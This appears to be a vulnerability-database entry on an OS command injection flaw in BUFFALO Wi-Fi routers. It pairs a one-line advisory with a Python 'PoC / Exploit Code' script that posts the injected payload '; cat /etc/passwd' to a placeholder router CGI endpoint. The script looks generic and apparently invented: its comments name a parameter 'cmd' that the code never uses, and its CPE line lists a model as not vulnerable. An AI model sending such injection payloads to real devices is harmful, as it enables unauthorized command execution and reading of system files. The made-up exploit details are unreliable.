OS Command Injection vulnerability exists in BUFFALO Wi-Fi router products. If this vulnerability is exploited, an arbitrary OS command may be executed on the products.
cpe:2.3:h:buffalo:wxr-1750dhp2:-:*:*:*:*:*:*:* - NOT VULNERABLE
BUFFALO Wi-Fi Router (具体受影响型号及固件版本请参考厂商公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Replace with actual vulnerable endpoint)
target_url = "http://target-router-ip/cgi-bin/vulnerable_endpoint"
# Malicious payload to inject OS command
# Example: Cat /etc/passwd to demonstrate read access
payload = "; cat /etc/passwd"
# Data to be sent in the request
# The parameter name 'cmd' is hypothetical; adjust based on actual vulnerability params
data = {
"param": payload
}
try:
response = requests.post(target_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Response:")
print(response.text)
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")